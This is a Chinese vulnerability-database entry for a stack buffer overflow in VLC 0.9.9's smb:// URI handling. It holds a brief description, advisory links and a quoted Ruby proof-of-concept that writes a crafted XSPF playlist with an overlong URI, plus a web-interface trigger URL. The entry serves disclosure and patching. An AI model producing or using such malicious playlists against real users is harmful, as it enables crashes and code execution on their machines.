Videolan VLC媒体播放器smb:// URI处理栈溢出漏洞

https://www.exploit-db.com/exploits/9029
https://cxsecurity.com/issue/WLB-2009070164
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200907-270

VLCMediaPlayer是一款免费的媒体播放器。VLC媒体播放器的modules/access/smb.c文件中的Win32AddConnection()函数存在栈溢出漏洞。如果用户受骗打开的播放列表文件中包含有超长的smb://URI，就可以触发这个溢出，导致执行任意指令。

#!/usr/bin/ruby

# VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept)
#
# Bugtraq ID: 35500
#
# The vulnerability can also be triggered via the VLC web interface (disabled by default):
# http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............
#
# Patch:
# http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f
#
# Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest).
#
# Trancer
# http://www.rec-sec.com

foo = "A" * 58
bar = "B" * 4
baz = "C" * 1000

b00m = foo + bar + baz

xspf = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
	<title>Playlist</title>
	<trackList>
		<track>
			<location>smb://foo.com@www.foo.com/foo/#{b00m}</location>
			<extension application="http://www.videolan.org/vlc/playlist/0">
				<vlc:id>0</vlc:id>
			</extension>
		</track>
	</trackList>
</playlist>
|

playlist = File.new("vlc_smb.xspf","wb")
playlist.write(xspf)
playlist.close

# milw0rm.com [2009-06-29]

来源:VUPEN
名称:ADV-2009-1714
链接:http://www.vupen.com/english/advisories/2009/1714
来源:BID
名称:35500
链接:http://www.securityfocus.com/bid/35500
来源:MILW0RM
名称:9029
链接:http://www.milw0rm.com/exploits/9029
来源:SECUNIA
名称:35558
链接:http://secunia.com/advisories/35558
来源:git.videolan.org
链接:http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f